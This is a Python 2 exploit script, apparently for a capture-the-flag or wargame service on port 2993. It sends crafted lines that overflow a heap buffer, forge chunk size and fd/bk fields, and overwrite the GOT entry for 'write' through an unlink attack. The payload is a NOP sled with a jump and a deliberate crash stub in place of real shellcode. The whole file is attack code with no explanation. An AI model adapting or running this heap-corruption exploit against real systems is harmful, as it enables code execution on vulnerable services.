#!/usr/bin/python

from socket import *
from sys import argv

# 0804d41c R_386_JUMP_SLOT   write

def main(host):
	s = socket()
	s.settimeout(2)
	s.connect((host, 2993))
	
	buf = "\x90" * 9
	buf += "\xeb\x0a" # we need to jump over the bk/fd field in this chunk
	buf += "\x90" * 10
	buf += "\x33\xD2\x8B\x12" # crash the program :)
	# xor edx,edx
	# mov edx, [edx]

	print "len of shellcode is %d" % len(buf)
	l1 = "FSRD/" +"ROOT" + buf
	l1 += "\x90"*(127-len(l1)) + "/"
	
	l2 = "FSRD"
	l2 += "ROOT"+ "A" * 103
	l2 += "/" # start of overflow
	l2 += "\xfe\xff\xff\xff" # size prev
	l2 += "\xfc\xff\xff\xff" # size of chunk
	l2 += "\x10\xd4\x04\x08" # 804D410 - overwrite start of l2 - overwrite "write" GOT - 0804d41c -0xc
	l2 += "\x18\xe0\x04\x08" # "overwrite" bk addr of buf 0x804e018

	l3 = "A"

	lines = [l1, l2, l3] 	
	for line in lines:
		print "[+] send: %d Byte" % len(line)
		s.send(line)

	print "[+] Now recv data.."

	while 1:
		try:
			d = s.recv(1024)
		except:
			break
		if d:
			print d
		else:
			break
	



if __name__ == '__main__':
	if len(argv) > 1:
		main(argv[1])
	else:
		print "usage : %s <ip addr>" % argv[0]
